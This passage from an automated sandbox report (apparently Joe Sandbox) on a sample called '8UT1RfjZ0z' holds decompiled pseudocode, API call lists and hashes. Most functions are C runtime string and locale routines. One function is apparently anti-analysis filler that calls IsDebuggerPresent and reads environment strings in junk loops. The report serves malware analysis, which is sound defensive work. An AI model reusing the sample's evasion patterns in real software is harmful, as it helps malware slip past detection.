												_t96 = 1;
												goto L92;
											}
											__eflags = _v28 - 2;
											if(_v28 < 2) {
												goto L32;
											}
											__eflags = _v22;
											_t134 =  &_v22;
											if(_v22 == 0) {
												goto L32;
											} else {
												goto L37;
											}
											while(1) {
												L37:
												_t165 =  *((intOrPtr*)(_t134 + 1));
												__eflags = _t165;
												if(_t165 == 0) {
													goto L32;
												}
												_t160 =  *_t145;
												__eflags = _t160 -  *_t134;
												if(_t160 <  *_t134) {
													L40:
													_t134 = _t134 + 2;
													__eflags =  *_t134;
													if( *_t134 != 0) {
														continue;
													}
													goto L32;
												}
												__eflags = _t160 - _t165;
												if(_t160 <= _t165) {
													goto L28;
												}
												goto L40;
											}
										}
										L32:
										_push(3);
										L29:
										_pop(_t96);
										goto L92;
									}
									L28:
									_push(2);
									goto L29;
								} else {
									L51:
									_t169 = MultiByteToWideChar;
									_t145 = MultiByteToWideChar(_a24, 9, _t145, _a12, _t168, _t168);
									__eflags = _t145 - _t168;
									_v48 = _t145;
									if(_t145 == _t168) {
										goto L18;
									}
									__eflags = _t145;
									_t168 = 0x400;
									if(_t145 <= 0) {
										L61:
										_t43 =  &_v36;
										 *_t43 = _v36 & 0x00000000;
										__eflags =  *_t43;
										L62:
										__eflags = _v36;
										if(_v36 == 0) {
											goto L18;
										}
										_t115 = MultiByteToWideChar(_a24, 1, _v40, _a12, _v36, _t145);
										__eflags = _t115;
										if(_t115 == 0) {
											L78:
											E0042E54D(_v36);
											_t96 = _v44;
											L92:
											return E0042DBBB(_t96, _t145, _v8 ^ _t170, _t165, _t168, _t169);
										}
										_t145 = MultiByteToWideChar(_a24, 9, _v32, _a20, 0, 0);
										__eflags = _t145;
										if(__eflags == 0) {
											goto L78;
										}
										if(__eflags <= 0) {
											L73:
											_t168 = 0;
											__eflags = 0;
											L74:
											__eflags = _t168;
											if(_t168 != 0) {
												_t118 = MultiByteToWideChar(_a24, 1, _v32, _a20, _t168, _t145);
												__eflags = _t118;
												if(_t118 != 0) {
													_v44 = CompareStringW(_a4, _a8, _v36, _v48, _t168, _t145);
												}
												E0042E54D(_t168);
											}
											goto L78;
										}
										_t121 = 0xffffffe0;
										_t165 = _t121 % _t145;
										__eflags = _t121 / _t145 - 2;
										if(_t121 / _t145 < 2) {
											goto L73;
										}
										_t58 = _t145 + 8; // 0x8
										_t123 = _t145 + _t58;
										__eflags = _t123 - _t168;
										if(_t123 > _t168) {
											_t124 = E0042EF11(_t145, _t165, _t168, _t169, _t123);
											__eflags = _t124;
											if(_t124 != 0) {
												 *_t124 = 0xdddd;
												_t124 =  &(_t124[4]);
												__eflags = _t124;
											}
											_t168 = _t124;
											goto L74;
										}
										E004353C0(_t123);
										_t168 = _t171;
										__eflags = _t168;
										if(_t168 == 0) {
											goto L78;
										}
										 *_t168 = 0xcccc;
										_t168 =  &(_t168[4]);
										goto L74;
									}
									_t126 = 0xffffffe0;
									_t165 = _t126 % _t145;
									__eflags = _t126 / _t145 - 2;
									if(_t126 / _t145 < 2) {
										goto L61;
									}
									_t41 = _t145 + 8; // 0x8
									_t128 = _t145 + _t41;
									__eflags = _t128 - 0x400;
									if(_t128 > 0x400) {
										_t129 = E0042EF11(_t145, _t165, 0x400, MultiByteToWideChar, _t128);
										__eflags = _t129;
										if(_t129 == 0) {
											L60:
											_v36 = _t129;
											goto L62;
										}
										 *_t129 = 0xdddd;
										L59:
										_t129 =  &(_t129[4]);
										__eflags = _t129;
										goto L60;
									}
									E004353C0(_t128);
									_t129 = _t171;
									__eflags = _t129;
									if(_t129 == 0) {
										goto L60;
									}
									 *_t129 = 0xcccc;
									goto L59;
								}
							}
						}
						_t136 = _v32;
						_t163 = _t165;
						while(1) {
							_t163 = _t163 - 1;
							if( *_t136 == 0) {
								break;
							}
							_t136 = _t136 + 1;
							if(_t163 != _t168) {
								continue;
							}
							_t163 = _t163 | 0xffffffff;
							break;
						}
						_t165 = _t165 + (_t136 | 0xffffffff) - _t163;
						_a20 = _t165;
						goto L20;
					}
					L18:
					_t96 = 0;
					goto L92;
				}
				_t164 = _a12;
				_t139 = _t145;
				while(1) {
					_t164 = _t164 - 1;
					if( *_t139 == 0) {
						break;
					}
					_t139 = _t139 + 1;
					if(_t164 != _t168) {
						continue;
					}
					_t164 = _t164 | 0xffffffff;
					break;
				}
				_a12 = _a12 + (_t139 | 0xffffffff) - _t164;
				goto L11;
			}

0x0043794e
0x00437954
0x0043795b
0x00437964
0x00437966
0x0043796c
0x0043796e
0x00437970
0x00437973
0x00437976
0x0043798d
0x0043799b
0x004379a1
0x004379a4
0x004379a6
0x004379a6
0x0043798f
0x0043798f
0x0043798f
0x0043798d
0x004379b3
0x004379f6
0x004379fa
0x004379d0
0x004379d0
0x004379d5
0x00437a03
0x00437a06
0x00000000
0x00000000
0x00437a08
0x00437a08
0x00437a11
0x00437c10
0x00437c12
0x00437c14
0x00437c17
0x00437c1e
0x00437c1e
0x00437c21
0x00437c24
0x00437c2b
0x00437c2b
0x00437c36
0x00437c38
0x00437c3c
0x00437c42
0x00437c45
0x00437c97
0x00437ca9
0x00437caf
0x00437cb1
0x00437cb3
0x00437cb5
0x00437cb6
0x00437cbb
0x00437cbc
0x00437cc2
0x00437cc3
0x00000000
0x00437cc3
0x00437c5b
0x00437c60
0x00437c62
0x00000000
0x00000000
0x00437c7c
0x00437c81
0x00437c83
0x00437c91
0x00437c94
0x00000000
0x00437c94
0x00437c85
0x00437c86
0x00437c8b
0x00000000
0x00437a1f
0x00437a21
0x00437a24
0x00000000
0x00000000
0x00437a29
0x00437a2c
0x00437a33
0x00437a33
0x00437a39
0x00437a46
0x00437a50
0x00437a52
0x00000000
0x00000000
0x00437a58
0x00437a5b
0x00437a68
0x00437a6e
0x00437a70
0x00000000
0x00000000
0x00437a72
0x00437a75
0x00437aa0
0x00437aa3
0x00000000
0x00000000
0x00437aa5
0x00437aa9
0x00437ab3
0x00437ab7
0x00437aba
0x00000000
0x00000000
0x00000000
0x00000000
0x00437abc
0x00437abc
0x00437abc
0x00437abf
0x00437ac1
0x00000000
0x00000000
0x00437ac6
0x00437ac8
0x00437aca
0x00437ad4
0x00437ad5
0x00437ad6
0x00437ad9
0x00000000
0x00000000
0x00000000
0x00437adb
0x00437acc
0x00437ace
0x00000000
0x00000000
0x00000000
0x00437ace
0x00437abc
0x00437aab
0x00437aad
0x00000000
0x00437aad
0x00437a77
0x00437a7b
0x00000000
0x00000000
0x00437a7d
0x00437a81
0x00437a84
0x00000000
0x00000000
0x00000000
0x00000000
0x00437a86
0x00437a86
0x00437a86
0x00437a89
0x00437a8b
0x00000000
0x00000000
0x00437a8d
0x00437a8f
0x00437a91
0x00437a97
0x00437a98
0x00437a99
0x00437a9c
0x00000000
0x00000000
0x00000000
0x00437a9e
0x00437a93
0x00437a95
0x00000000
0x00000000
0x00000000
0x00437a95
0x00437a86
0x00437a5d
0x00437a5d
0x00437a4a
0x00437a4a
0x00000000
0x00437a4a
0x00437a48
0x00437a48
0x00000000
0x00437add
0x00437add
0x00437add
0x00437af0
0x00437af2
0x00437af4
0x00437af7
0x00000000
0x00000000
0x00437afd
0x00437aff
0x00437b04
0x00437b46
0x00437b46
0x00437b46
0x00437b46
0x00437b4a
0x00437b4a
0x00437b4e
0x00000000
0x00000000
0x00437b63
0x00437b65
0x00437b67
0x00437bff
0x00437c02
0x00437c07
0x00437cc5
0x00437cd6
0x00437cd6
0x00437b7e
0x00437b80
0x00437b82
0x00000000
0x00000000
0x00437b84
0x00437bc8
0x00437bc8
0x00437bc8
0x00437bca
0x00437bca
0x00437bcc
0x00437bdb
0x00437bdd
0x00437bdf
0x00437bf5
0x00437bf5
0x00437bf9
0x00437bfe
0x00000000
0x00437bcc
0x00437b8a
0x00437b8b
0x00437b8d
0x00437b90
0x00000000
0x00000000
0x00437b92
0x00437b92
0x00437b96
0x00437b98
0x00437bb1
0x00437bb6
0x00437bb9
0x00437bbb
0x00437bc1
0x00437bc1
0x00437bc1
0x00437bc4
0x00000000
0x00437bc4
0x00437b9a
0x00437b9f
0x00437ba1
0x00437ba3
0x00000000
0x00000000
0x00437ba5
0x00437bab
0x00000000
0x00437bab
0x00437b0a
0x00437b0b
0x00437b0d
0x00437b10
0x00000000
0x00000000
0x00437b12
0x00437b12
0x00437b16
0x00437b18
0x00437b2e
0x00437b33
0x00437b36
0x00437b41
0x00437b41
0x00000000
0x00437b41
0x00437b38
0x00437b3e
0x00437b3e
0x00437b3e
0x00000000
0x00437b3e
0x00437b1a
0x00437b1f
0x00437b21
0x00437b23
0x00000000
0x00000000
0x00437b25
0x00000000
0x00437b25
0x00437a39
0x00437a11
0x004379d7
0x004379da
0x004379dc
0x004379dc
0x004379e0
0x00000000
0x00000000
0x004379e2
0x004379e5
0x00000000
0x00000000
0x004379e7
0x00000000
0x004379e7
0x004379ef
0x004379f1
0x00000000
0x004379f1
0x004379fc
0x004379fc
0x00000000
0x004379fc
0x004379b5
0x004379b8
0x004379ba
0x004379ba
0x004379be
0x00000000
0x00000000
0x004379c0
0x004379c3
0x00000000
0x00000000
0x004379c5
0x00000000
0x004379c5
0x004379cd
0x00000000

APIs

CompareStringW.KERNEL32(00000000,00000000,00439AAC,00000001,00439AAC,00000001,00000000,7FFFFFFF,00000000,?,?,?,00437D05,00000000,?,?), ref: 00437985
GetLastError.KERNEL32(?,?,?,00437D05,00000000,?,?,?,?,?,?,?,00000000,?,?), ref: 0043799B
GetCPInfo.KERNEL32(00000000,?,00000000,7FFFFFFF,00000000,?,?,?,00437D05,00000000,?,?), ref: 00437A68
MultiByteToWideChar.KERNEL32(00000000,00000009,?,000000FF,00000000,00000000,?,?,?,00437D05,00000000,?,?), ref: 00437AEE
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,00000000,00000000), ref: 00437B63
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 00437B7C

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,00000000,00000000), ref: 00437BDB
CompareStringW.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 00437BEF

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?,00000000), ref: 0043540E

CompareStringA.KERNEL32(?,?,?,000000FF,00000000,?,00000000,7FFFFFFF,00000000,?,?,?,00437D05,00000000,?,?), ref: 00437CA9

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Part of subcall function 00435433: GetCPInfo.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,0042EE3B,?,?,?,?,?,?), ref: 0043547C
Part of subcall function 00435433: GetCPInfo.KERNEL32(?,00000001,?,0042EE3B,?,?), ref: 00435495
Part of subcall function 00435433: _strlen.LIBCMT ref: 004354B3
Part of subcall function 00435433: MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,00000000,00000000,?,0042EE3B,?,?,?,?,?,?,?,?), ref: 004354F3
Part of subcall function 00435433: MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,?,00000000,?,?,?,?,?,?,?,0042EE3B,?,?), ref: 00435542
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 0043555D
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 00435583
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 004355A8

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ByteCharMultiWide$Info$CompareString$ErrorExceptionFilterHeapLastProcessUnhandled$AllocCurrentDebuggerFreeLocalePresentTerminate_strlen
String ID:
API String ID: 3425806904-0
Opcode ID: 52246312d14fded26958d09d61ce63507d90926f6bf9251b70616ba9d9c3611e
Instruction ID: 8c6ebfc15b4e754c06016ce031b521f2bc1a43f8332c90f01a6611aa82b486c1
Opcode Fuzzy Hash: 52246312d14fded26958d09d61ce63507d90926f6bf9251b70616ba9d9c3611e
Instruction Fuzzy Hash: 37B137B1A082099FDF319F65CC81BAF7BB6EF4D310F24612BE89196290D7788D51CB58

Function 0042E870, Relevance: 12.3, APIs: 8, Instructions: 339

APIs

LCMapStringW.KERNEL32(00000000,00000100,00439AAC,00000001,00000000,00000000), ref: 0042E8A0
GetLastError.KERNEL32 ref: 0042E8B2
__alloca_probe_16.NTDLLP ref: 0042E963
__alloca_probe_16.NTDLLP ref: 0042EA21
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 0042EA63
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0042EA86

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?), ref: 0043540E

__alloca_probe_16.NTDLLP ref: 0042EB37
LCMapStringA.KERNEL32(?,?,?,?,?,?), ref: 0042EBD5

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Part of subcall function 00435433: __alloca_probe_16.NTDLLP ref: 004354D3
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0043555D

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: __alloca_probe_16$String$ByteCharExceptionFilterMultiProcessUnhandledWide$CurrentDebuggerErrorInfoLastLocalePresentTerminate
String ID:
API String ID: 871457779-0
Opcode ID: 8da5fbe87eeceff672639ed28e4a615c2a948bd179a851d26228aa5301b76480
Instruction ID: dffbbcbb7ab7f1011cc001f77cdae65f296335edc4aa2ddd6e56629ea6ea412d
Opcode Fuzzy Hash: 8da5fbe87eeceff672639ed28e4a615c2a948bd179a851d26228aa5301b76480
Instruction Fuzzy Hash: 29B1B072A00129AFDF219FA6EC808AF7BB5FF08354F94452BF905A7260D3398D51DB58

Function 00425100, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 86

C-Code - Quality: 93%

			E00425100(signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				signed int _v44;
				signed int* _v48;
				intOrPtr* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				signed int _t70;

				_v12 = 0xe5ee;
				_a8 = 0x3c;
				_t4 =  &_a8; // 0x3c
				if(_v12 >  *_t4) {
					_v60 = 0;
					while(_v60 < 3) {
						IsDebuggerPresent();
						GetCommandLineA();
						_v64 = 0xf7acb320;
						_v8 = 0xfe02ee6b;
						_t39 =  &_a8; // 0x3c
						_v56 = ( *_t39 | _v8) + _v64;
						_v60 = _v60 + 1;
					}
					_a4 = 0x3d;
					_v52 =  &_v12;
					_a8 = ( *_v52 + _a4) * _a8;
				} else {
					_v28 = 0;
					while(_v28 < 5) {
						GetEnvironmentStringsW();
						_v28 = _v28 + 1;
					}
					_v36 = 0;
					while(_v36 < 4) {
						_a12 = 0xe13d;
						_v44 = 0xf297a144;
						_v48 =  &_a12;
						_a4 = 0x7f03;
						_v24 = 0x663f;
						_t22 =  &_v24; // 0x663f
						_t23 =  &_v24; // 0x663f
						_v24 = ( *_v48 | _a4) * (_v44 |  *_t22) +  *_t23;
						_v8 = 0xf3a67b12;
						asm("cdq");
						_v20 = _a12 / (_v8 + 1);
						_v36 = _v36 + 1;
					}
				}
				_a4 = 0x309;
				_v8 = 0xf5aa3004;
				_v16 =  &_v8;
				asm("cdq");
				_t70 = (_a4 & _a4) / (_v8 + 1) + _v8;
				_v8 = _t70;
				return _t70;
			}

0x00425106
0x0042510d
0x00425117
0x0042511a
0x004251ab
0x004251bd
0x004251c3
0x004251c9
0x004251cf
0x004251d6
0x004251dd
0x004251e6
0x004251ba
0x004251ba
0x004251eb
0x004251f5
0x00425204
0x00425120
0x00425120
0x00425132
0x00425138
0x0042512f
0x0042512f
0x00425140
0x00425152
0x00425158
0x0042515f
0x00425169
0x0042516c
0x00425173
0x00425185
0x0042518b
0x0042518e
0x00425191
0x004251a1
0x004251a4
0x0042514f
0x0042514f
0x004251a9
0x00425207
0x0042520e
0x00425218
0x00425227
0x0042522a
0x0042522d
0x00425233

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00425138
IsDebuggerPresent.KERNEL32 ref: 004251C3
GetCommandLineA.KERNEL32 ref: 004251C9

Strings

<, xrefs: 00425117
?f=, xrefs: 00425185
=, xrefs: 00425158
=, xrefs: 004251EB

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CommandDebuggerEnvironmentLinePresentStrings
String ID: <$=$=$?f=
API String ID: 1376153200-2603167410
Opcode ID: e8ac9acc9048a99144eee4d56ef20cd8d16bdd8cb3e31c7dbb98dd7d59e2206f
Instruction ID: 8248a78f6063a3355f591f6beff05c9993dd05103a4429b3e3bbaaef4ed2db90
Opcode Fuzzy Hash: e8ac9acc9048a99144eee4d56ef20cd8d16bdd8cb3e31c7dbb98dd7d59e2206f
Instruction Fuzzy Hash: 1E41B0B0D01619EFDF04CF94E985AEDBBB1FB44318F60805AE815AB340C378AA55DF99

Function 00435433, Relevance: 12.2, APIs: 8, Instructions: 174

C-Code - Quality: 94%

			E00435433(void* __edx, int _a4, int _a8, char* _a12, intOrPtr* _a16, char* _a20, int _a24) {
				signed int _v8;
				struct _cpinfo _v28;
				int _v32;
				int _v36;
				int _v40;
				char* _v44;
				int _v48;
				int* _v52;
				char* _v56;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t54;
				intOrPtr* _t57;
				int _t59;
				int _t60;
				int _t62;
				char* _t68;
				int _t69;
				int _t74;
				char* _t79;
				void* _t91;
				int _t93;
				signed int _t96;
				int _t97;
				int _t107;

				_t91 = __edx;
				_t54 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t54 ^ _t96;
				_v44 = _a12;
				_t57 = _a16;
				_v52 = _t57;
				_v40 =  *_t57;
				_t59 = _a4;
				_v56 = _a20;
				_v36 = 0;
				_v48 = 0;
				if(_t59 == _a8) {
					L33:
					_t60 = _v36;
					L34:
					return E0042DBBB(_t60, _t79, _v8 ^ _t96, _t91, 0, _t93);
				}
				_t62 = GetCPInfo(_t59,  &_v28);
				_t79 = MultiByteToWideChar;
				if(_t62 == 0 || _v28 != 1 || GetCPInfo(_a8,  &_v28) == 0 || _v28 != 1) {
					_t93 = MultiByteToWideChar(_a4, 1, _v44, _v40, 0, 0);
					__eflags = _t93;
					if(_t93 != 0) {
						goto L8;
					}
					goto L14;
				} else {
					_t93 = _v40;
					_v48 = 1;
					if(_t93 == 0xffffffff) {
						_t93 = E0042AA00(_v44) + 1;
					}
					_t107 = _t93;
					L8:
					if(_t107 <= 0 || _t93 > 0x7ffffff0) {
						_v32 = 0;
						goto L20;
					} else {
						_t22 = _t93 + 8; // 0x42ee43
						_t73 = _t93 + _t22;
						if(_t93 + _t22 > 0x400) {
							_t74 = E0042EF11(_t79, _t91, 0, _t93, _t73);
							__eflags = _t74;
							if(_t74 == 0) {
								L18:
								_v32 = _t74;
								L20:
								if(_v32 == 0) {
									L14:
									_t60 = 0;
									goto L34;
								}
								E0042DD30(0, _v32, 0, _t93 + _t93);
								if(MultiByteToWideChar(_a4, 1, _v44, _v40, _v32, _t93) == 0) {
									L32:
									E0042E54D(_v32);
									goto L33;
								}
								_t79 = _v56;
								if(_t79 == 0) {
									__eflags = _v48;
									_t79 = WideCharToMultiByte;
									if(_v48 != 0) {
										L27:
										_t68 = E0042B5FD(1, _t93);
										__eflags = _t68;
										_v36 = _t68;
										if(_t68 != 0) {
											_t69 = WideCharToMultiByte(_a8, 0, _v32, _t93, _t68, _t93, 0, 0);
											__eflags = _t69;
											if(__eflags != 0) {
												__eflags = _v40 - 0xffffffff;
												if(_v40 != 0xffffffff) {
													 *_v52 = _t69;
												}
											} else {
												_push(_v36);
												E0042B4FE(_t79, _t91, 0, _t93, __eflags);
												_v36 = 0;
											}
										}
										goto L32;
									}
									_t93 = WideCharToMultiByte(_a8, 0, _v32, _t93, 0, 0, 0, 0);
									__eflags = _t93;
									if(_t93 == 0) {
										goto L32;
									}
									goto L27;
								}
								if(WideCharToMultiByte(_a8, 0, _v32, _t93, _t79, _a24, 0, 0) != 0) {
									_v36 = _t79;
								}
								goto L32;
							}
							 *_t74 = 0xdddd;
							L17:
							_t74 = _t74 + 8;
							goto L18;
						}
						E004353C0(_t73);
						_t74 = _t97;
						if(_t74 == 0) {
							goto L18;
						}
						 *_t74 = 0xcccc;
						goto L17;
					}
				}
			}

0x00435433
0x00435439
0x00435440
0x00435449
0x0043544c
0x00435450
0x00435456
0x00435459
0x00435462
0x00435465
0x00435468
0x0043546b
0x004355d0
0x004355d0
0x004355d3
0x004355e4
0x004355e4
0x0043547c
0x00435480
0x00435486
0x004354f5
0x004354f7
0x004354f9
0x00000000
0x00000000
0x00000000
0x004354a1
0x004354a1
0x004354a7
0x004354ae
0x004354bb
0x004354bb
0x004354bc
0x004354be
0x004354be
0x0043551b
0x00000000
0x004354c8
0x004354c8
0x004354c8
0x004354d1
0x00435503
0x00435508
0x0043550b
0x00435516
0x00435516
0x0043551e
0x00435521
0x004354fb
0x004354fb
0x00000000
0x004354fb
0x0043552b
0x00435546
0x004355c7
0x004355ca
0x00000000
0x004355cf
0x00435548
0x0043554d
0x0043556c
0x0043556f
0x00435575
0x0043558b
0x0043558e
0x00435593
0x00435597
0x0043559a
0x004355a8
0x004355aa
0x004355ac
0x004355bc
0x004355c0
0x004355c5
0x004355c5
0x004355ae
0x004355ae
0x004355b1
0x004355b7
0x004355b7
0x004355ac
0x00000000
0x0043559a
0x00435585
0x00435587
0x00435589
0x00000000
0x00000000
0x00000000
0x00435589
0x00435565
0x00435567
0x00435567
0x00000000
0x00435565
0x0043550d
0x00435513
0x00435513
0x00000000
0x00435513
0x004354d3
0x004354d8
0x004354dc
0x00000000
0x00000000
0x004354de
0x00000000
0x004354de
0x004354be

APIs

GetCPInfo.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,0042EE3B,?,?,?,?,?,?), ref: 0043547C
GetCPInfo.KERNEL32(?,00000001,?,0042EE3B,?,?), ref: 00435495
_strlen.LIBCMT ref: 004354B3
MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,00000000,00000000,?,0042EE3B,?,?,?,?,?,?,?,?), ref: 004354F3

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,?,00000000,?,?,?,?,?,?,?,0042EE3B,?,?), ref: 00435542
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 0043555D
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 00435583

Part of subcall function 0042B5FD: Sleep.KERNEL32(00000000), ref: 0042B622

WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 004355A8

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ByteCharMultiWide$ExceptionFilterHeapInfoProcessUnhandled$AllocCurrentDebuggerErrorFreeLastPresentSleepTerminate_strlen
String ID:
API String ID: 39159627-0
Opcode ID: 92a7d307ef5d6921a4cb678cbcac5bceb6da40a7a2a9791e2d742c7bf787873c
Instruction ID: 7d3a25d257b8dbb1be21a50f3f472715fe0ffdb2b5bd2b7bfe5024e64f75cda4
Opcode Fuzzy Hash: 92a7d307ef5d6921a4cb678cbcac5bceb6da40a7a2a9791e2d742c7bf787873c
Instruction Fuzzy Hash: A6516D71900619BBCF219F95DC40DEFBFBAEF4D354F20112AE914A6250D7399D41CBA8

Function 0042BC37, Relevance: 12.1, APIs: 8, Instructions: 60

C-Code - Quality: 100%

			E0042BC37() {
				LONG* _t13;
				LONG* _t14;
				LONG* _t15;
				LONG* _t16;
				LONG* _t17;
				LONG* _t18;
				LONG** _t29;
				LONG* _t34;
				void* _t36;
				void* _t38;

				_t34 =  *(_t38 + 8);
				if(_t34 == 0) {
					L18:
					return _t34;
				}
				InterlockedDecrement(_t34);
				_t2 =  &(_t34[0x2c]); // 0xffffff3b
				_t13 =  *_t2;
				if(_t13 != 0) {
					InterlockedDecrement(_t13);
				}
				_t3 =  &(_t34[0x2e]); // 0x768016a
				_t14 =  *_t3;
				if(_t14 != 0) {
					InterlockedDecrement(_t14);
				}
				_t4 =  &(_t34[0x2d]); // 0xc310c483
				_t15 =  *_t4;
				if(_t15 != 0) {
					InterlockedDecrement(_t15);
				}
				_t5 =  &(_t34[0x30]); // 0xff0c2474
				_t16 =  *_t5;
				if(_t16 != 0) {
					InterlockedDecrement(_t16);
				}
				_t6 =  &(_t34[0x14]); // 0x42ac3a
				_t29 = _t6;
				_t36 = 6;
				do {
					if( *((intOrPtr*)(_t29 - 8)) != 0x43ed08) {
						_t17 =  *_t29;
						if(_t17 != 0) {
							InterlockedDecrement(_t17);
						}
					}
					if( *((intOrPtr*)(_t29 - 4)) != 0) {
						_t9 =  &(_t29[1]); // 0x6a016ac3
						_t18 =  *_t9;
						if(_t18 != 0) {
							InterlockedDecrement(_t18);
						}
					}
					_t29 =  &(_t29[4]);
					_t36 = _t36 - 1;
				} while (_t36 != 0);
				_t10 =  &(_t34[0x35]); // 0xff000001
				InterlockedDecrement( *_t10 + 0xb4);
				goto L18;
			}

0x0042bc38
0x0042bc3e
0x0042bcbf
0x0042bcc2
0x0042bcc2
0x0042bc4a
0x0042bc4c
0x0042bc4c
0x0042bc54
0x0042bc57
0x0042bc57
0x0042bc59
0x0042bc59
0x0042bc61
0x0042bc64
0x0042bc64
0x0042bc66
0x0042bc66
0x0042bc6e
0x0042bc71
0x0042bc71
0x0042bc73
0x0042bc73
0x0042bc7b
0x0042bc7e
0x0042bc7e
0x0042bc82
0x0042bc82
